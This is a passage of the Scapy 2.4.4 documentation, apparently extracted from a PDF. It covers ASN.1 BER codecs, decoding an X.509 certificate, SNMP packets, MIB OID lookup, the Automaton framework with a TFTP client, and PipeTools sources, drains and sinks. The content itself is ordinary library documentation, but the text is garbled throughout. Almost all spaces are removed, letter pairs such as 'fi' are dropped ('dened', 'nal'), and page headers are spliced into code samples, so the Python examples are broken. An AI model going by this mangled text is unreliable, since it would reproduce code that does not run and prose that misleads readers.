ForexampletheBERcodec_INTEGERclassprovidesa.
enc()anda.
dec()classmethodsthatcanconvertbe-tweenanencodedstringandavalueoftheirtype.
TheyallinheritfromBERcodec_Objectwhichisabletodecodeobjectsfromanytype:>>>BERcodec_INTEGER.
enc(7)'\x02\x01\x07'>>>BERcodec_BIT_STRING.
enc("egg")'\x03\x03egg'>>>BERcodec_STRING.
enc("egg")'\x04\x03egg'>>>BERcodec_STRING.
dec('\x04\x03egg')(,'')>>>BERcodec_STRING.
dec('\x03\x03egg')Traceback(mostrecentcalllast):File"",line1,inFile"/usr/bin/scapy",line2099,indecreturncls.
do_dec(s,context,safe)File"/usr/bin/scapy",line2178,indo_decl,s,t=cls.
check_type_check_len(s)File"/usr/bin/scapy",line2076,incheck_type_check_lenl,s3=cls.
check_type_get_len(s)File"/usr/bin/scapy",line2069,incheck_type_get_lens2=cls.
check_type(s)File"/usr/bin/scapy",line2065,incheck_type(cls.
__name__,ord(s[0]),ord(s[0]),cls.
tag),remaining=s)BER_BadTag_Decoding_Error:BERcodec_STRING:Gottag[3/0x3]while→expecting###Alreadydecoded###None###Remaining###'\x03\x03egg'>>>BERcodec_Object.
dec('\x03\x03egg')(,'')ASN.
1objectsareencodedusingtheir.
enc()method.
Thismethodmustbecalledwiththecodecwewanttouse.
AllcodecsarereferencedintheASN1_Codecsobject.
raw()canalsobeused.
Inthiscase,thedefaultcodec(conf.
ASN1_default_codec)willbeused.
4.
1.
ASN.
1andSNMP59ScapyDocumentation,Release2.
4.
4.
>>>x.
enc(ASN1_Codecs.
BER)'0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00'>>>raw(x)'0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00'>>>xx,remain=BERcodec_Object.
dec(_)>>>xx.
show()#ASN1_SEQUENCE:#ASN1_SEQUENCE:>>>remain''Bydefault,decodingisdoneusingtheUniversalclass,whichmeansobjectsdenedintheContextclasswillnotbedecoded.
Thereisagoodreasonforthat:thedecodingdependsonthecontext!
>>>cert=""".
.
.
MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC.
.
.
VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB.
.
.
bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg.
.
.
Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw.
.
.
MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB.
.
.
T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg.
.
.
SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh.
.
.
dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC.
.
.
ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs.
.
.
RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs.
.
.
i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg.
.
.
/BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ.
.
.
2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0.
.
.
ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X.
.
.
+Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml.
.
.
J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh.
.
.
EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo.
.
.
Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ.
.
.
Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex.
.
.
MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB.
.
.
Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA.
.
.
FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG.
.
.
9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0.
.
.
cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF.
.
.
ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY.
.
.
vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/.
.
.
drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la.
.
.
5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks.
.
.
mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5.
.
.
O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD.
.
.
062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41.
.
.
xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H.
.
.
hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL.
.
.
Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg=.
.
.
""".
decode("base64")>>>(dcert,remain)=BERcodec_Object.
dec(cert)Traceback(mostrecentcalllast):(continuesonnextpage)60Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)File"",line1,inFile"/usr/bin/scapy",line2099,indecreturncls.
do_dec(s,context,safe)File"/usr/bin/scapy",line2094,indo_decreturncodec.
dec(s,context,safe)File"/usr/bin/scapy",line2099,indecreturncls.
do_dec(s,context,safe)File"/usr/bin/scapy",line2218,indo_deco,s=BERcodec_Object.
dec(s,context,safe)File"/usr/bin/scapy",line2099,indecreturncls.
do_dec(s,context,safe)File"/usr/bin/scapy",line2094,indo_decreturncodec.
dec(s,context,safe)File"/usr/bin/scapy",line2099,indecreturncls.
do_dec(s,context,safe)File"/usr/bin/scapy",line2218,indo_deco,s=BERcodec_Object.
dec(s,context,safe)File"/usr/bin/scapy",line2099,indecreturncls.
do_dec(s,context,safe)File"/usr/bin/scapy",line2092,indo_decraiseBER_Decoding_Error("Unknownprefix[%02x]for[%r]"%(p,t),→remaining=s)BER_Decoding_Error:Unknownprefix[a0]for['\xa0\x03\x02\x01\x02\x02\x01\→x010\r\x06\t*\x86H.
.
.
']###Alreadydecoded###[[]]###Remaining###'\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\→x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\→x13\x14AOLTimeWarnerInc.
1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America→OnlineInc.
1705\x06\x03U\x04\x03\x13.
AOLTimeWarnerRootCertification→Authority20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\→x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOLTime→WarnerInc.
1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13AmericaOnlineInc.
1705\→x06\x03U\x04\x03\x13.
AOLTimeWarnerRootCertificationAuthority20\x82\→x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\→x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\→xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc>>(dcert,remain)=BERcodec_Object.
dec(cert,context=ASN1_Class_X509)>>>dcert.
show()#ASN1_SEQUENCE:#ASN1_SEQUENCE:#ASN1_X509_CONT0:#ASN1_SEQUENCE:#ASN1_SEQUENCE:#ASN1_SET:#ASN1_SEQUENCE:#ASN1_SET:#ASN1_SEQUENCE:#ASN1_SET:#ASN1_SEQUENCE:#ASN1_SET:#ASN1_SEQUENCE:#ASN1_SEQUENCE:#ASN1_SEQUENCE:#ASN1_SET:#ASN1_SEQUENCE:#ASN1_SET:#ASN1_SEQUENCE:#ASN1_SET:#ASN1_SEQUENCE:#ASN1_SET:#ASN1_SEQUENCE:#ASN1_SEQUENCE:#ASN1_SEQUENCE:(continuesonnextpage)62Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)#ASN1_X509_CONT3:#ASN1_SEQUENCE:#ASN1_SEQUENCE:#ASN1_SEQUENCE:#ASN1_SEQUENCE:#ASN1_SEQUENCE:#ASN1_SEQUENCE:\→xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\→xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\→x01>>a=SNMP(version=3,PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.
2.
3",→value=5),.
.
.
SNMPvarbind(oid="3.
2.
1",→value="hello")]))>>>a.
show()###[SNMP]###version=v3community='public'\PDU\|###[SNMPget]###|id=0|error=no_error|error_index=0|\varbindlist\||###[SNMPvarbind]###||oid='1.
2.
3'||value=5||###[SNMPvarbind]###||oid='3.
2.
1'||value='hello'>>>hexdump(a)0000302E02010304067075626C6963A021020.
.
.
.
.
.
public.
!
.
001001000201000201003016300706022A03.
.
.
.
.
.
.
.
0.
0.
.
.
*.
0020020105300B06027A01040568656C6C6F.
.
.
0.
.
.
z.
.
.
hello>>>send(IP(dst="1.
2.
3.
4")/UDP()/SNMP()).
Sent1packets.
>>>SNMP(raw(a)).
show()(continuesonnextpage)66Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)###[SNMP]###version=community=\PDU\|###[SNMPget]###|id=|error=|error_index=|\varbindlist\||###[SNMPvarbind]###||oid=||value=||###[SNMPvarbind]###||oid=||value=4.
1.
4ResolvingOIDfromaMIBAboutOIDobjectsOIDobjectsarecreatedwithanASN1_OIDclass:>>>o1=ASN1_OID("2.
5.
29.
10")>>>o2=ASN1_OID("1.
2.
840.
113549.
1.
1.
1")>>>o1,o2(,)LoadingaMIBScapycanparseMIBlesandbecomeawareofamappingbetweenanOIDanditsname:>>>load_mib("mib/*")>>>o1,o2(,)TheMIBlesI'veusedareattachedtothispage.
Scapy'sMIBdatabaseAllMIBinformationisstoredintotheconf.
mibobject.
ThisobjectcanbeusedtondtheOIDofaname>>>conf.
mib.
sha1_with_rsa_signature'1.
2.
840.
113549.
1.
1.
5'ortoresolveanOID:>>>conf.
mib.
_oidname("1.
2.
3.
6.
1.
4.
1.
5")'enterprises.
5'Itisevenpossibletographit:4.
1.
ASN.
1andSNMP67ScapyDocumentation,Release2.
4.
4.
>>>conf.
mib.
_make_graph()4.
2AutomataScapyenablestocreateeasilynetworkautomata.
ScapydoesnotsticktoaspecicmodellikeMooreorMealyautomata.
Itprovidesaexiblewayforyoutochooseyourwaytogo.
AnautomatoninScapyisdeterministic.
Ithasdifferentstates.
Astartstateandsomeendanderrorstates.
Therearetransitionsfromonestatetoanother.
Transitionscanbetransitionsonaspeciccondition,transitionsonthereceptionofaspecicpacketortransitionsonatimeout.
Whenatransitionistaken,oneormoreactionscanberun.
Anactioncanbeboundtomanytransitions.
Parameterscanbepassedfromstatestotransitions,andfromtransitionstostatesandactions.
Fromaprogrammer'spointofview,states,transitionsandactionsaremethodsfromanAutomatonsubclass.
Theyaredecoratedtoprovidemeta-informationneededinorderfortheautomatontowork.
4.
2.
1FirstexampleLet'sbeginwithasimpleexample.
Itaketheconventiontowritestateswithcapitals,butanythingvalidwithPythonsyntaxwouldworkaswell.
classHelloWorld(Automaton):@ATMT.
state(initial=1)defBEGIN(self):print"State=BEGIN"@ATMT.
condition(BEGIN)defwait_for_nothing(self):print"Waitfornothing.
.
.
"raiseself.
END()@ATMT.
action(wait_for_nothing)defon_nothing(self):print"Actionon'nothing'condition"@ATMT.
state(final=1)defEND(self):print"State=END"Inthisexample,wecansee3decorators:ATMT.
statethatisusedtoindicatethatamethodisastate,andthatcanhaveinitial,nal,stopanderroroptionalargumentssettonon-zeroforspecialstates.
ATMT.
conditionthatindicateamethodtoberunwhentheautomatonstatereachestheindi-catedstate.
TheargumentisthenameofthemethodrepresentingthatstateATMT.
actionbindsamethodtoatransitionandisrunwhenthetransitionistaken.
Runningthisexamplegivesthefollowingresult:>>>a=HelloWorld()>>>a.
run()(continuesonnextpage)68Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)State=BEGINWaitfornothing.
.
.
Actionon'nothing'conditionState=ENDThissimpleautomatoncanbedescribedwiththefollowinggraph:Thegraphcanbeautomaticallydrawnfromthecodewith:>>>HelloWorld.
graph()4.
2.
2ChangingstatesTheATMT.
statedecoratortransformsamethodintoafunctionthatreturnsanexception.
Ifyouraisethatexception,theautomatonstatewillbechanged.
Ifthechangeoccursinatransition,actionsboundtothistransitionwillbecalled.
Theparametersgiventothefunctionreplacingthemethodwillbekeptandnallydeliveredtothemethod.
Theexceptionhasamethodaction_parametersthatcanbecalledbeforeitisraisedsothatitwillstoreparameterstobedeliveredtoallactionsboundtothecurrenttransition.
Asanexample,let'sconsiderthefollowingstate:@ATMT.
state()defMY_STATE(self,param1,param2):print"state=MY_STATE.
param1=%rparam2=%r"%(param1,param2)Thisstatewillbereachedwiththefollowingcode:@ATMT.
receive_condition(ANOTHER_STATE)defreceived_ICMP(self,pkt):ifICMPinpkt:raiseself.
MY_STATE("goticmp",pkt[ICMP].
type)Let'ssupposewewanttobindanactiontothistransition,thatwillalsoneedsomeparameters:@ATMT.
action(received_ICMP)defon_ICMP(self,icmp_type,icmp_code):self.
retaliate(icmp_type,icmp_code)Theconditionshouldbecome:4.
2.
Automata69ScapyDocumentation,Release2.
4.
4.
@ATMT.
receive_condition(ANOTHER_STATE)defreceived_ICMP(self,pkt):ifICMPinpkt:raiseself.
MY_STATE("goticmp",pkt[ICMP].
type).
action_→parameters(pkt[ICMP].
type,pkt[ICMP].
code)4.
2.
3RealexampleHereisarealexampletakefromScapy.
ItimplementsaTFTPclientthatcanissuereadrequests.
classTFTP_read(Automaton):defparse_args(self,filename,server,sport=None,port=69,**kargs):Automaton.
parse_args(self,**kargs)self.
filename=filenameself.
server=serverself.
port=portself.
sport=sportdefmaster_filter(self,pkt):return(IPinpktandpkt[IP].
src==self.
serverandUDPinpktandpkt[UDP].
dport==self.
my_tidand(self.
server_tidisNoneorpkt[UDP].
sport==self.
→server_tid))#BEGIN@ATMT.
state(initial=1)defBEGIN(self):self.
blocksize=512self.
my_tid=self.
sportorRandShort().
_fix()(continuesonnextpage)70Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)bind_bottom_up(UDP,TFTP,dport=self.
my_tid)self.
server_tid=Noneself.
res=b""self.
l3=IP(dst=self.
server)/UDP(sport=self.
my_tid,dport=self.
→port)/TFTP()self.
last_packet=self.
l3/TFTP_RRQ(filename=self.
filename,mode=→"octet")self.
send(self.
last_packet)self.
awaiting=1raiseself.
WAITING()#WAITING@ATMT.
state()defWAITING(self):pass@ATMT.
receive_condition(WAITING)defreceive_data(self,pkt):ifTFTP_DATAinpktandpkt[TFTP_DATA].
block==self.
awaiting:ifself.
server_tidisNone:self.
server_tid=pkt[UDP].
sportself.
l3[UDP].
dport=self.
server_tidraiseself.
RECEIVING(pkt)@ATMT.
action(receive_data)defsend_ack(self):self.
last_packet=self.
l3/TFTP_ACK(block=self.
awaiting)self.
send(self.
last_packet)@ATMT.
receive_condition(WAITING,prio=1)defreceive_error(self,pkt):ifTFTP_ERRORinpkt:raiseself.
ERROR(pkt)@ATMT.
timeout(WAITING,3)deftimeout_waiting(self):raiseself.
WAITING()@ATMT.
action(timeout_waiting)defretransmit_last_packet(self):self.
send(self.
last_packet)#RECEIVED@ATMT.
state()defRECEIVING(self,pkt):recvd=pkt[Raw].
loadself.
res+=recvdself.
awaiting+=1iflen(recvd)==self.
blocksize:raiseself.
WAITING()raiseself.
END()#ERROR@ATMT.
state(error=1)defERROR(self,pkt):split_bottom_up(UDP,TFTP,dport=self.
my_tid)(continuesonnextpage)4.
2.
Automata71ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)returnpkt[TFTP_ERROR].
summary()#END@ATMT.
state(final=1)defEND(self):split_bottom_up(UDP,TFTP,dport=self.
my_tid)returnself.
resItcanberunlikethis,forinstance:>>>TFTP_read("my_file","192.
168.
1.
128").
run()4.
2.
4DetaileddocumentationDecoratorsDecoratorforstatesStatesaremethodsdecoratedbytheresultoftheATMT.
statefunction.
Itcantake4optionalpa-rameters,initial,final,stopanderror,that,whensettoTrue,indicatingthatthestateisaninitial,nal,stoporerrorstate.
Note:Theinitialstateiscalledwhilestartingtheautomata.
Thefinalstepwilltelltheautomatahasreacheditsend.
Ifyoucallatmt.
stop(),theautomatawillmovetothestopstepwhateveritscurrentstateis.
Theerrorstatewillmarktheautomataaserrored.
Ifnostopstateisspecied,callingstopandforcestopwillbeequivalent.
classExample(Automaton):@ATMT.
state(initial=1)defBEGIN(self):pass@ATMT.
state()defSOME_STATE(self):pass@ATMT.
state(final=1)defEND(self):return"Resultoftheautomaton:42"@ATMT.
state(stop=1)defSTOP(self):print("SHUTTINGDOWN.
.
.
")#e.
g.
closesockets.
.
.
@ATMT.
condition(STOP)defis_stopping(self):raiseself.
END()@ATMT.
state(error=1)(continuesonnextpage)72Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)defERROR(self):return"Partialresult,orexplanation"#[.
.
.
]TakeforinstancetheTCPclient:TheSTARTeventisinitial=1,theSTOPeventisstop=1andtheCLOSEDeventisfinal=1.
DecoratorsfortransitionsTransitionsaremethodsdecoratedbytheresultofoneofATMT.
condition,ATMT.
receive_condition,ATMT.
timeout.
Theyalltakeasargumentthestatemethodtheyarerelatedto.
ATMT.
timeoutalsohaveamandatorytimeoutparametertoprovidethetimeoutvalueinsec-onds.
ATMT.
conditionandATMT.
receive_conditionhaveanoptionalprioparametersothattheorderinwhichconditionsareevaluatedcanbeforced.
Thedefaultpriorityis0.
Transitionswiththesameprioritylevelarecalledinanundeterminedorder.
Whentheautomatonswitchestoagivenstate,thestate'smethodisexecuted.
Thentransitionsmeth-odsarecalledatspecicmomentsuntilonetriggersanewstate(somethinglikeraiseself.
MY_NEW_STATE()).
First,rightafterthestate'smethodreturns,theATMT.
conditiondecoratedmethodsarerunbygrowingprio.
Theneachtimeapacketisreceivedandacceptedbythemasterl-terallATMT.
receive_conditiondecoratedhodsarecalledbygrowingprio.
Whenatimeoutisreachedsincethetimeweenteredintothecurrentspace,thecorrespondingATMT.
timeoutdecoratedmethodiscalled.
classExample(Automaton):@ATMT.
state()defWAITING(self):pass@ATMT.
condition(WAITING)defit_is_raining(self):ifnotself.
have_umbrella:raiseself.
ERROR_WET()@ATMT.
receive_condition(WAITING,prio=1)defit_is_ICMP(self,pkt):ifICMPinpkt:raiseself.
RECEIVED_ICMP(pkt)@ATMT.
receive_condition(WAITING,prio=2)defit_is_IP(self,pkt):ifIPinpkt:raiseself.
RECEIVED_IP(pkt)@ATMT.
timeout(WAITING,10.
0)defwaiting_timeout(self):raiseself.
ERROR_TIMEOUT()4.
2.
Automata73ScapyDocumentation,Release2.
4.
4.
DecoratorforactionsActionsaremethodsthataredecoratedbythereturnofATMT.
actionfunction.
Thisfunctiontakesthetransitionmethoditisboundtoasrstparameterandanoptionalpriorityprioasasecondparameter.
Thedefaultpriorityis0.
Anactionmethodcanbedecoratedmanytimestobeboundtomanytransitions.
classExample(Automaton):@ATMT.
state(initial=1)defBEGIN(self):pass@ATMT.
state(final=1)defEND(self):pass@ATMT.
condition(BEGIN,prio=1)defmaybe_go_to_end(self):ifrandom()>0.
5:raiseself.
END()@ATMT.
condition(BEGIN,prio=2)defcertainly_go_to_end(self):raiseself.
END()@ATMT.
action(maybe_go_to_end)defmaybe_action(self):print"Wearelucky.
.
.
"@ATMT.
action(certainly_go_to_end)defcertainly_action(self):print"Wearenotlucky.
.
.
"@ATMT.
action(maybe_go_to_end,prio=1)@ATMT.
action(certainly_go_to_end,prio=1)defalways_action(self):print"Thiswasn'tluck!
.
.
.
"Thetwopossibleoutputsare:>>>a=Example()>>>a.
run()Wearenotlucky.
.
.
Thiswasn'tluck!
.
.
.
>>>a.
run()Wearelucky.
.
.
Thiswasn'tluck!
.
.
.
Note:Ifyouwanttopassaparametertoanaction,youcanusetheaction_parametersfunctionwhileraisingthenextstate.
Inthefollowingexample,thesend_copyactiontakesaparameterpassedbyis_fin:classExample(Automaton):@ATMT.
state()(continuesonnextpage)74Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)defWAITING(self):pass@ATMT.
state()defFIN_RECEIVED(self):pass@ATMT.
receive_condition(WAITING)defis_fin(self,pkt):ifpkt[TCP].
flags.
F:raiseself.
FIN_RECEIVED().
action_parameters(pkt)@ATMT.
action(is_fin)defsend_copy(self,pkt):send(pkt)MethodstooverloadTwomethodsarehookstobeoverloaded:Theparse_args()methodiscalledwithargumentsgivenat__init__()andrun().
Usethattoparametrizethebehaviorofyourautomaton.
Themaster_filter()methodiscalledeachtimeapacketissniffedanddecidesifitisinterestingfortheautomaton.
Whenworkingonaspecicprotocol,thisiswhereyouwillensurethepacketbelongstotheconnectionyouarebeingpartof,sothatyoudonotneedtomakeallthesanitychecksineachtransition.
4.
3PipeToolsScapy'spipetoolisasmartpipingsystemallowingtoperformcomplexstreamdatamanagement.
Thegoalistocreateasequenceofstepswithoneorseveralinputsandoneorseveraloutputs,withabunchofblocksinbetween.
PipeToolscanhandlevariedsourcesofdata(andoutputs)suchasuserinput,pcapinput,snifng,wireshark.
.
.
Apipesystemisimplementedbymanuallylinkingallitsparts.
Itispossibletodynamicallyaddanelementwhilerunningorsetmultipledrainsforthesamesource.
Note:Pipetooldefaultobjectsarelocatedinsidescapy.
pipetool4.
3.
1Demo:sniff,anonymize,sendtoWiresharkThefollowingcodewillsniffpacketsonthedefaultinterface,anonymizethesourceanddestinationIPaddressesandpipeitallintoWireshark.
Usefulwhenpostingonlineexamples,forinstance.
source=SniffSource(iface=conf.
iface)wire=WiresharkSink()deftransf(pkt):ifnotpktorIPnotinpkt:returnpkt(continuesonnextpage)4.
3.
PipeTools75ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)pkt[IP].
src="1.
1.
1.
1"pkt[IP].
dst="2.
2.
2.
2"returnpktsource>TransformDrain(transf)>wirep=PipeEngine(source)p.
start()p.
wait_and_stop()Theengineisprettystraightforward:Let'srunit:4.
3.
2ClassTypesThereare3differentclassofobjectsusedfordatamanagement:SourcesDrainsSinksTheyareexecutedandhandledbyaPipeEngineobject.
Whenrunning,apipetoolenginewaitsforanyavailabledatafromtheSource,andsenditintheDrainslinkedtoit.
ThedatathengoesfromDrainstoDrainsuntilitarrivesinaSink,thenalstateofthisdata.
Let'sseewithabasicdemohowtobuildapipetoolsystem.
76Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
Forinstance,thisenginewasgeneratedwiththiscode:>>>s=CLIFeeder()>>>s2=CLIHighFeeder()>>>d1=Drain()>>>d2=TransformDrain(lambdax:x[::-1])>>>si1=ConsoleSink()>>>si2=QueueSink()>>>>>>s>d1>>>d1>si1>>>d1>si2>>>>>>s2>>d1>>>d1>>d2>>>d2>>si1>>>>>>p=PipeEngine()>>>p.
add(s)>>>p.
add(s2)>>>p.
graph(target=">the_above_image.
png")start()isusedtostartthePipeEngine:>>>p.
start()Now,let'splaywithitbysendingsomeinputdata4.
3.
PipeTools77ScapyDocumentation,Release2.
4.
4.
>>>s.
send("foo")>'foo'>>>s2.
send("bar")>>'rab'>>>s.
send("ilikepotato")>'ilikepotato'>>>print(si2.
recv(si2.
recv())foo:ilikepotatoLet'sstudywhathappenshere:therearetwocanalsinaPipeEngine,aloweroneandahigherone.
SomeSourceswriteonthelowerone,someonthehigheroneandsomeonboth.
mostsourcescanbelinkedtoanydrain,onbothlowerandhighercanals.
Theuseof>indicatesalinkonthelowcanal,and>>onthehigherone.
whenwesendsomedatains,whichisonthelowercanal,asshownabove,itgoesthroughtheDrainthenissenttotheQueueSinkandtotheConsoleSinkwhenwesendsomedatains2,itgoesthroughtheDrain,thentheTransformDrainwherethedataisreversed(seethelambda),beforebeingsenttoConsoleSinkonly.
ThisexplainswhyweonlyhavethedataofthelowersourcesinsidetheQueueSink:thehigheronehasnotbeenlinked.
Mostofthesinksreceivefrombothloweranduppercanals.
Thisisveriableusingthehelp(ConsoleSink)>>>help(ConsoleSink)HelponclassConsoleSinkinmodulescapy.
pipetool:classConsoleSink(Sink)|Printmessagesonlowandhighentries||print||[.
.
.
]SourcesASourceisaclassthatgeneratessomedata.
ThereareseveralsourcetypesintegratedwithScapy,usableas-is,butyoumayalsocreateyours.
DefaultSourceclassesForanyofthoseclass,havealookathelp([theclass])togetmoreinformationortherequiredparameters.
CLIFeeder:asourceespeciallyusedininteractivesoftware.
itssend(data)generatestheeventdataonthelowercanalCLIHighFeeder:samethanCLIFeeder,butwritesonthehighercanalPeriodicSource:Generatemessagesperiodicallyonthelowcanal.
78Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
AutoSource:thedefaultsource,thatmustbeextendedtocreatecustomsources.
CreateacustomSourceTocreateacustomsource,onemustextendtheAutoSourceclass.
Note:DoNOTusethedefaultSourceclassexceptifyouarereallysureofwhatyouaredoing:itisonlyusedinternally,andismissingsomeimplementation.
TheAutoSourceismadetobeused.
Tosenddatathroughit,theobjectmustcallitsself.
_gen_data(msg)orself.
_gen_high_data(msg)functions,whichsendthedataintothePipeEngine.
TheSourceshouldalso(ifpossible),setself.
is_exhaustedtoTruewhenempty,toallowthecleanstopofthePipeEngine.
Ifthesourceisinnite,itwillneedaforce-stop(seePipeEnginebelow)Forinstance,hereishowCLIHighFeederisimplemented:classCLIFeeder(CLIFeeder):defsend(self,msg):self.
_gen_high_data(msg)defclose(self):self.
is_exhausted=TrueDrainsDefaultDrainclassesDrainsneedtobelinkedontheentrythatyouareusing.
Itcanbeeitheronthelowerone(using>)ortheupperone(using>>).
Seethebasicexampleabove.
Drain:themostbasicDrainpossible.
Willpassonbothlowandhighentryiflinkedproperly.
TransformDrain:ApplyafunctiontomessagesonlowandhighentryUpDrain:RepeatmessagesfromlowentrytohighexitDownDrain:RepeatmessagesfromhighentrytolowexitCreateacustomDrainTocreateacustomdrain,onemustextendtheDrainclass.
ADrainobjectwillreceivedatafromthelowercanalinitspushmethod,andfromthehighercanalfromitshigh_pushmethod.
TosendthedatabackintothenextlinkedDrain/Sink,itmustcalltheself.
_send(msg)orself.
_high_send(msg)methods.
Forinstance,hereishowTransformDrainisimplemented:4.
3.
PipeTools79ScapyDocumentation,Release2.
4.
4.
classTransformDrain(Drain):def__init__(self,f,name=None):Drain.
__init__(self,name=name)self.
f=fdefpush(self,msg):self.
_send(self.
f(msg))defhigh_push(self,msg):self.
_high_send(self.
f(msg))SinksSinksaredestinationsformessages.
ASinkreceivesdatalikeaDrain,butdoesn'tsendanymessagesafterit.
Messagesonthelowentrycomefrompush(),andmessagesonthehighentrycomefromhigh_push().
DefaultSinksclassesConsoleSink:PrintmessagesonlowandhighentriestostdoutRawConsoleSink:Printmessagesonlowandhighentries,usingos.
writeTermSink:Printsmessagesonthelowandhighentries,onaseparateterminalQueueSink:CollectsmessagesonthelowandhighentriesintoaQueueCreateacustomSinkTocreateacustomsink,onemustextendSinkandimplementpush()and/orhigh_push().
ThisisasimpliedversionofConsoleSink:classConsoleSink(Sink):defpush(self,msg):print(">%r"%msg)defhigh_push(self,msg):print(">>%r"%msg)4.
3.
3LinkobjectsAsshownintheexample,mostsourcescanbelinkedtoanydrain,onbothlowandhighentry.
Theuseof>indicatesalinkonthelowentry,and>>onthehighentry.
Forexample,tolinka,bandconthelowentries:>>>a=CLIFeeder()>>>b=Drain()>>>c=ConsoleSink()>>>a>b>c(continuesonnextpage)80Chapter4.
AdvancedusageScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)>>>p=PipeEngine()>>>p.
add(a)Thiswouldn'tlinkthehighentries,sosomethinglikethiswoulddonothing:>>>a2=CLIHighFeeder()>>>a2>>b>>>a2.
send("hello")Becauseb(Drain)andc(scapy.
pipetool.
ConsoleSink)arenotlinkedonthehighentry.
